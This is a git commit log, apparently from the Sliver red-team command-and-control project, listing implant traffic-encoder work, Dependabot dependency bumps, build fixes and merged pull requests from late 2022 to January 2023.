moloch-- 2f1cee7a69 Added traffic encoder to implant code base 2023-01-19 17:54:10 -08:00
moloch-- d1e5a18a33 Merge branch 'master' into v1.6.0/master 2023-01-19 13:44:02 -08:00
moloch-- 0c59ac442d Merge master 2023-01-19 13:39:56 -08:00
moloch-- 742efb70c6 Switch back to wee_alloc 2023-01-19 13:35:52 -08:00
moloch-- 8e507dc96b Remove forced errors from unit tests 2023-01-18 14:55:36 -08:00
moloch-- b9598545af re-implemented malloc/free 2023-01-18 14:41:30 -08:00
moloch-- a1b018f1c1 Added more debug statements 2023-01-18 14:16:07 -08:00
moloch-- 5215b24b8d Replace wee_alloc with lol_alloc 2023-01-18 12:39:16 -08:00
moloch-- 6b86f7d0f9 Rust hex encoder works with small inputs 2023-01-18 12:19:42 -08:00
moloch-- 04c5f1d4e6 Rust/wasm OOM's with large inputs ... 2023-01-18 12:14:50 -08:00
moloch-- 8a1a268450 Implemented hex encode/decode in rust 2023-01-17 15:22:55 -08:00
moloch-- 7a88f3fbda Rust example code compiles 2023-01-17 14:53:20 -08:00
moloch-- b2484ab31e Rust example code compiles 2023-01-17 14:53:08 -08:00
moloch-- b46643dcf6 add -opt=2 2023-01-17 11:06:43 -08:00
moloch-- 94ffad3569 Converted to CompiledModule 2023-01-16 17:40:28 -08:00
Ronan Kervella 5184aa8761 Merge pull request #1073 from BishopFox/update/chromedp-v0.8.7
Update/chromedp v0.8.7
2023-01-16 12:21:25 -08:00
moloch-- 92df0e4a20 Style fixes 2023-01-16 11:33:57 -08:00
moloch-- e905032169 Update vendor/ 2023-01-16 10:28:24 -08:00
moloch-- 973b5bb8aa Fix GetCookies API call 2023-01-16 10:28:12 -08:00
Joe f4b4610e28 Merge pull request #1071 from BishopFox/c304dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.4
Bump github.com/jedib0t/go-pretty/v6 from 6.4.3 to 6.4.4
2023-01-16 09:51:02 -08:00
Joe 9c0a97fc3a Merge pull request #1070 from BishopFox/4041dependabot/go_modules/gorm.io/driver/mysql-1.4.5
Bump gorm.io/driver/mysql from 1.4.4 to 1.4.5
2023-01-16 09:49:24 -08:00
dependabot[bot] 571a601b00 Bump github.com/jedib0t/go-pretty/v6 from 6.4.3 to 6.4.4
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.3 to 6.4.4.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.3...v6.4.4)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-16 03:12:21 +00:00
dependabot[bot] 422d4914b8 Bump gorm.io/driver/mysql from 1.4.4 to 1.4.5
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.4 to 1.4.5.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.4...v1.4.5)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-16 03:12:00 +00:00
Ronan Kervella a5532e15fe Merge pull request #1068 from BishopFox/fix/pb-sgn
Fix/pb sgn
2023-01-11 14:10:15 -08:00
moloch-- 72c1de84a8 Move DisableSGN out of protobuf since its client-side only 2023-01-11 13:28:22 -08:00
moloch-- d935a038b0 Move DisableSGN out of protobuf since its client-side only 2023-01-11 13:21:15 -08:00
Joe be6cfc9db4 Merge pull request #1066 from BishopFox/fix/1064
Fix/1064
2023-01-09 15:52:31 -08:00
moloch-- cfa16f7e62 More specific cross-platform constraints 2023-01-09 14:51:48 -08:00
moloch-- 1a8487ef71 Fix build constraints for linux/mips 2023-01-09 14:23:46 -08:00
moloch-- 72fcd30fe9 Fix build constraints for linux/mips 2023-01-09 14:23:39 -08:00
moloch-- 37a157de08 More traffic encoder tests 2023-01-09 13:34:06 -08:00
moloch-- d87df821c5 Initialize encoder map on startup 2023-01-09 10:20:48 -08:00
moloch-- 4838d79732 Stricter checks on passthroughFS 2023-01-09 09:46:10 -08:00
Joe 79ff35429d Merge pull request #1061 from BishopFox/17e7dependabot/go_modules/golang.org/x/crypto-0.5.0
Bump golang.org/x/crypto from 0.4.0 to 0.5.0
2023-01-09 08:03:31 -08:00
Joe de2d78158f Merge pull request #1062 from BishopFox/303ddependabot/go_modules/gorm.io/gorm-1.24.3
Bump gorm.io/gorm from 1.24.2 to 1.24.3
2023-01-09 08:03:12 -08:00
moloch-- 51c872e2e8 Better sepperated server/client asset code 2023-01-08 19:25:30 -08:00
dependabot[bot] 19c6e79951 Bump gorm.io/gorm from 1.24.2 to 1.24.3
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.24.2 to 1.24.3.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.24.2...v1.24.3)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-09 03:23:50 +00:00
dependabot[bot] 81d8b39db7 Bump golang.org/x/crypto from 0.4.0 to 0.5.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/crypto/releases)
- [Commits](https://github.com/golang/crypto/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-09 03:23:43 +00:00
moloch-- 6b34c100e7 Rename assets file 2023-01-08 19:18:54 -08:00
moloch-- 91effc6ca8 Implemented internal encodersFS 2023-01-08 19:17:20 -08:00
moloch-- 79a56e88ee implemented init'able encoders 2023-01-08 18:16:35 -08:00
moloch-- a41ef64bfb Update encoder interface 2023-01-08 17:24:26 -08:00
moloch-- 55de4944db Update encoder interface 2023-01-08 12:40:23 -08:00
moloch-- 6803d76fcf Improved traffic encoder unit test 2023-01-07 18:29:19 -08:00
moloch-- 4efcdc019b Traffic encoder unit tests pass 2023-01-07 17:59:13 -08:00
moloch-- e7e420f730 Add initial traffic encoder impl 2023-01-04 17:44:56 -08:00
moloch-- 29f9ff344b Updated traffic encoder readme 2023-01-04 17:02:31 -08:00
moloch-- f33bfca070 Improved wasm module names 2023-01-04 16:58:02 -08:00
moloch-- 8950786040 Add traffic encoders to assets 2023-01-04 15:45:09 -08:00
moloch-- 55fd77fdea Added base64 wazero encoder in server assets 2023-01-04 14:57:57 -08:00
moloch-- 08c61c146b Merge branch 'master' into v1.6.0/master 2023-01-04 14:20:14 -08:00
Joe ce213edab4 Merge pull request #1057 from BishopFox/fix/1055
Fix issue #1055 and #1054
2023-01-04 10:05:58 -08:00
moloch-- 4a996b5494 Fix issue #1055 and #1054 2023-01-04 09:04:36 -08:00
Joe 0910c28a5f Merge pull request #1053 from BishopFox/a3sroot-fix/gzip
A3sroot fix/gzip
2023-01-03 15:21:05 -08:00
moloch-- ff3e37075b Fix hex unit test 2023-01-03 14:33:31 -08:00
moloch-- 41c95a9570 Minor tweaks 2023-01-03 14:23:03 -08:00
dependabot[bot] 6e87b94035 Bump github.com/shirou/gopsutil/v3 from 3.22.11 to 3.22.12
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.11 to 3.22.12.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits/v3.22.12)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:09:02 -08:00
dependabot[bot] 06b2e4ecc1 Bump gorm.io/driver/postgres from 1.4.5 to 1.4.6
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.5 to 1.4.6.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.5...v1.4.6)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:09:01 -08:00
moloch-- db9bc1317a Tweak downloaded flag file, and add it to make clean-all 2023-01-03 14:08:59 -08:00
James Golovich 7e8d228314 Automatically run go-assets.sh from Makefile if it hasn't been run already 2023-01-03 14:08:13 -08:00
necroph0s 29340acfee Add flag to disable sgn when generating beacon shellcode 2023-01-03 14:07:37 -08:00
moloch-- 067eb5856e Signed fix for pr #995 2023-01-03 14:07:37 -08:00
dependabot[bot] fa58a52cae Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
Bumps [github.com/pquerna/otp](https://github.com/pquerna/otp) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/pquerna/otp/releases)
- [Commits](https://github.com/pquerna/otp/compare/v1.3.0...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/pquerna/otp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:36 -08:00
dependabot[bot] 3ac0ff131a Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.3 to 1.4.4.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.3...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:36 -08:00
s3cst4rs cc55f38195 Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken 2023-01-03 14:07:35 -08:00
Tom Samstag 35eedd75ec install script- use users' primary group name
The install script previously assumed that users were each a member of a
group named the same as their username. While this is a convention on
some systems, it's not universal. This change determines users' primary
group name for chown'ing their client config directory instead of making
this assumption.
2023-01-03 14:07:34 -08:00
rkervella 5067333eff Only alert user when --in-process is not used. 2023-01-03 14:07:33 -08:00
dependabot[bot] 0d1c64aede Bump golang.org/x/sys from 0.2.0 to 0.3.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.2.0 to 0.3.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.2.0...v0.3.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:33 -08:00
James Golovich 98f2340e3e Ensure Wireguard endpoint is valid before trying to use it
Fixes #931
2023-01-03 14:07:32 -08:00
dependabot[bot] bf7ac3997d Bump nokogiri from 1.13.9 to 1.13.10 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:31 -08:00
dependabot[bot] 0c827c6736 Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.10 to 3.22.11.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:30 -08:00
dependabot[bot] b8723d93da Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.2 to 6.4.3.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.2...v6.4.3)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:28 -08:00
dependabot[bot] 96d242b0df Bump golang.org/x/text from 0.4.0 to 0.5.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:25 -08:00
rkervella 645e5e0d14 Apply new logic to the downloadHandler 2023-01-03 14:07:24 -08:00
rkervella 2a2b7dbf47 Wrap filepath.Match into a custom package for windows specific code. 2023-01-03 14:07:22 -08:00
rkervella 206ab56bee Refactor to remove ioutil dep 2023-01-03 14:07:16 -08:00
rkervella 362efc8f9d Update implant vendor 2023-01-03 14:07:13 -08:00
Joe cf7f4be3ed Merge pull request #1049 from BishopFox/0654dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.12
Bump github.com/shirou/gopsutil/v3 from 3.22.11 to 3.22.12
2023-01-03 14:02:34 -08:00
dependabot[bot] 0796409887 Bump github.com/shirou/gopsutil/v3 from 3.22.11 to 3.22.12
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.11 to 3.22.12.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits/v3.22.12)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 21:10:12 +00:00
Joe 30647d267a Merge pull request #1048 from BishopFox/3a7cdependabot/go_modules/gorm.io/driver/postgres-1.4.6
Bump gorm.io/driver/postgres from 1.4.5 to 1.4.6
2023-01-03 13:07:47 -08:00
Joe 65da9c8504 Merge pull request #1052 from BishopFox/jamesgol-auto-go-assets
Jamesgol auto go assets
2023-01-03 13:06:35 -08:00
Ronan Kervella e296b6fdc7 Merge pull request #1050 from necroph0s/disable-sgn
Add flag to disable sgn when generating beacon shellcode
2023-01-03 12:33:12 -08:00
Ronan Kervella 3e3fdbe6a8 Merge pull request #1051 from BishopFox/fix/995
Signed fix for pr #995
2023-01-03 12:27:53 -08:00
moloch-- 8d97ba3aec Tweak downloaded flag file, and add it to make clean-all 2023-01-03 12:16:46 -08:00
dependabot[bot] a5a60a505c Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
Bumps [github.com/pquerna/otp](https://github.com/pquerna/otp) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/pquerna/otp/releases)
- [Commits](https://github.com/pquerna/otp/compare/v1.3.0...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/pquerna/otp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:10 -08:00
dependabot[bot] c04f3f0228 Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.3 to 1.4.4.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.3...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:09 -08:00
s3cst4rs 885387b3ea Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken 2023-01-03 11:56:08 -08:00
Tom Samstag d809a28a5d install script- use users' primary group name
The install script previously assumed that users were each a member of a
group named the same as their username. While this is a convention on
some systems, it's not universal. This change determines users' primary
group name for chown'ing their client config directory instead of making
this assumption.
2023-01-03 11:56:07 -08:00
rkervella f48dfa0e4b Only alert user when --in-process is not used. 2023-01-03 11:56:06 -08:00
dependabot[bot] 0bf19f5242 Bump golang.org/x/sys from 0.2.0 to 0.3.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.2.0 to 0.3.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.2.0...v0.3.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:05 -08:00
James Golovich 7bea0ee08f Ensure Wireguard endpoint is valid before trying to use it
Fixes #931
2023-01-03 11:56:04 -08:00
dependabot[bot] 4df0e87896 Bump nokogiri from 1.13.9 to 1.13.10 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:04 -08:00
dependabot[bot] 35f1fdd6cb Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.10 to 3.22.11.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:03 -08:00
dependabot[bot] 19ccc10a25 Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.2 to 6.4.3.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.2...v6.4.3)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:02 -08:00
dependabot[bot] b900af8b21 Bump golang.org/x/text from 0.4.0 to 0.5.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:00 -08:00
moloch-- bf3619553a Signed fix for pr #995 2023-01-03 11:43:39 -08:00
dependabot[bot] f0de5eb2d1 Bump gorm.io/driver/postgres from 1.4.5 to 1.4.6
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.5 to 1.4.6.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.5...v1.4.6)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 19:41:52 +00:00
Joe d647389c52 Merge pull request #1041 from BishopFox/def1dependabot/go_modules/github.com/pquerna/otp-1.4.0
Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
2023-01-03 11:40:13 -08:00
Joe d1e5053c34 Merge pull request #1047 from BishopFox/4392dependabot/go_modules/gorm.io/driver/sqlite-1.4.4
Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
2023-01-03 11:39:22 -08:00
necroph0s ea045fb1a6 Add flag to disable sgn when generating beacon shellcode 2023-01-03 14:11:20 -05:00
dependabot[bot] d15afa23a5 Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.3 to 1.4.4.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.3...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-02 03:07:28 +00:00
Ronan Kervella e231cd5252 Merge pull request #1043 from s3cst4rs/master
Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken
2022-12-30 08:19:55 -08:00
Joe 5bcae143cb Merge pull request #1046 from tecknicaltom/install-gid
install script- use users' primary group name
2022-12-30 08:35:37 -06:00
Tom Samstag d1d2415508 install script- use users' primary group name
The install script previously assumed that users were each a member of a
group named the same as their username. While this is a convention on
some systems, it's not universal. This change determines users' primary
group name for chown'ing their client config directory instead of making
this assumption.
2022-12-29 16:25:05 -08:00
s3cst4rs 57a4cb6b12 Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken 2022-12-22 10:18:18 +08:00
dependabot[bot] 4845dfed87 Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
Bumps [github.com/pquerna/otp](https://github.com/pquerna/otp) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/pquerna/otp/releases)
- [Commits](https://github.com/pquerna/otp/compare/v1.3.0...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/pquerna/otp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-19 03:08:14 +00:00
Ronan Kervella 17e102e72c Merge pull request #1038 from BishopFox/fix/1036
Only alert user when `--in-process` is not used.
2022-12-14 10:23:01 +01:00
rkervella 8d1ce4cca7 Only alert user when --in-process is not used. 2022-12-13 09:57:25 +01:00
Ronan Kervella 508257f825 Merge pull request #1035 from BishopFox/8c73dependabot/go_modules/golang.org/x/sys-0.3.0
Bump golang.org/x/sys from 0.2.0 to 0.3.0
2022-12-12 10:20:47 +01:00
dependabot[bot] ec2fc66c9f Bump golang.org/x/sys from 0.2.0 to 0.3.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.2.0 to 0.3.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.2.0...v0.3.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-12 03:17:36 +00:00
Ronan Kervella 3b24870ce8 Merge pull request #1024 from jamesgol/fix/931/wg
Ensure Wireguard endpoint is valid before trying to use it
2022-12-08 09:25:21 +01:00
Ronan Kervella b6340ead44 Merge pull request #1028 from BishopFox/0c7cdependabot/bundler/docs/nokogiri-1.13.10
Bump nokogiri from 1.13.9 to 1.13.10 in /docs
2022-12-08 09:25:03 +01:00
dependabot[bot] 0cf021dc2b Bump nokogiri from 1.13.9 to 1.13.10 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-08 03:48:16 +00:00
Ronan Kervella aac9ded76a Merge pull request #1020 from BishopFox/4772dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.11
Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
2022-12-05 23:44:14 -08:00
James Golovich 2fefb634ef Ensure Wireguard endpoint is valid before trying to use it
Fixes #931
2022-12-05 19:00:59 -08:00
Joe db11d8d6bb Merge pull request #1021 from BishopFox/f5efdependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.3
Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
2022-12-05 09:55:59 -06:00
Joe cca1f66ea6 Merge pull request #1022 from BishopFox/0b3ddependabot/go_modules/golang.org/x/text-0.5.0
Bump golang.org/x/text from 0.4.0 to 0.5.0
2022-12-04 23:18:19 -06:00
dependabot[bot] cdd941bdad Bump golang.org/x/text from 0.4.0 to 0.5.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-05 03:27:37 +00:00
dependabot[bot] a37e8d6b2d Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.2 to 6.4.3.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.2...v6.4.3)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-05 03:27:29 +00:00
dependabot[bot] 8d1dc478b9 Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.10 to 3.22.11.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-05 03:27:22 +00:00
James Golovich 7b6ff79b5f Automatically run go-assets.sh from Makefile if it hasn't been run already 2022-12-02 18:37:45 -08:00
a3sroot 0ec79a8e55 gzip frequent object creation can lead to memory leaks 2022-12-01 15:46:05 +08:00
Joe 8a28bf4506 Merge pull request #1018 from BishopFox/fix/1017
Refactor calls to `filepath.Match` implant side
2022-11-30 15:04:23 -06:00
rkervella 82cb8797a9 Apply new logic to the downloadHandler 2022-11-30 12:15:11 -08:00
rkervella d778ada3c5 Wrap filepath.Match into a custom package for windows specific code. 2022-11-30 12:11:07 -08:00
rkervella 2a0efd19f5 Refactor to remove ioutil dep 2022-11-30 11:01:46 -08:00
Joe 0912e43568 Merge pull request #1015 from BishopFox/experiments/implant-mod-trim
Update implant vendor
2022-11-30 09:53:08 -06:00
rkervella 748407ae2c Update implant vendor 2022-11-28 10:03:11 -08:00
Joe 177c8fbed8 Merge pull request #1009 from BishopFox/stage
Stage
2022-11-22 19:16:07 -06:00
Joe cd94a65432 Merge pull request #1008 from BishopFox/moloch---patch-5
Update SECURITY.md
2022-11-22 18:38:17 -06:00
rkervella 419c58e77f Switch to unsafe.Slice 2022-11-22 16:21:50 -08:00
Joe 51aa00e741 Update SECURITY.md
Signed-off-by: Joe <[email protected]>
2022-11-22 17:57:56 -06:00
Joe ffe4c490fd Merge pull request #1004 from BishopFox/fix/1003
Resolve absolute path if file is not in path for `execute`
2022-11-16 18:25:19 -06:00
rkervella 702c2371a4 Fix #1003 2022-11-16 15:12:07 -08:00
moloch-- 9aa738884a Tweak pb 2022-11-14 17:32:03 -08:00
Joe 776f416ed1 Merge pull request #1001 from BishopFox/d446dependabot/go_modules/gorm.io/driver/mysql-1.4.4
Bump gorm.io/driver/mysql from 1.4.3 to 1.4.4
2022-11-14 10:44:19 -06:00
Joe ce98ce8b37 Merge pull request #1002 from BishopFox/6decdependabot/go_modules/github.com/Ne0nd0g/go-clr-1.0.3
Bump github.com/Ne0nd0g/go-clr from 1.0.2 to 1.0.3
2022-11-14 10:43:59 -06:00
dependabot[bot] de8c6cb9b5 Bump github.com/Ne0nd0g/go-clr from 1.0.2 to 1.0.3
Bumps [github.com/Ne0nd0g/go-clr](https://github.com/Ne0nd0g/go-clr) from 1.0.2 to 1.0.3.
- [Release notes](https://github.com/Ne0nd0g/go-clr/releases)
- [Changelog](https://github.com/Ne0nd0g/go-clr/blob/master/CHANGELOG.md)
- [Commits](https://github.com/Ne0nd0g/go-clr/compare/v1.0.2...v1.0.3)

---
updated-dependencies:
- dependency-name: github.com/Ne0nd0g/go-clr
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-11-14 03:06:45 +00:00
dependabot[bot] 6afdad6d50 Bump gorm.io/driver/mysql from 1.4.3 to 1.4.4
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.3 to 1.4.4.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.3...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-11-14 03:06:18 +00:00
Joe d699a8d140 Merge pull request #998 from BishopFox/fix/backdoor
